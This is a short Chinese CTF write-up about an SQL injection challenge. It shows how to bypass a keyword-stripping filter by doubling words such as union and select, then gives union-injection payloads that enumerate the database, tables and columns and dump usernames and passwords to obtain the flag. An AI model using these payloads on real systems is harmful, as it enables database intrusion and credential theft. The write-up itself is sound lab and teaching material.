1.猜被过滤的特殊字符
通过报错可以看到and被过滤删除了。
经过各种尝试,发现被过滤的字符有and,or,select,union,from,where等字符。
2.猜测过滤方式
通过报错可以知道过滤时是把敏感字符删除了可能是replace替换了空字符,尝试双写绕过。
双写成功绕过字符限制,接下来就是联合查询组合拳。
3.联合注入
1.爆库名
猜字段就不说了,得到的字段数是3.
payload:' uniunionon selselectect 1,2,database()%23
得到数据库名字是geek,注意这里没有对#进行编码,所以直接用#会将php语句注释掉,会提示没有输入字符,所以需要用%23代替#.
2.爆表名
payload:' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek')%23
3.爆列名
payload:' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql')%23
4.看字段值
' uniunionon selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql)%23
得到flag为:flag{7a4ce215-57b2-4da2-ac3c-29bb9be3e719}
这里注意password里面有or也要双写绕过。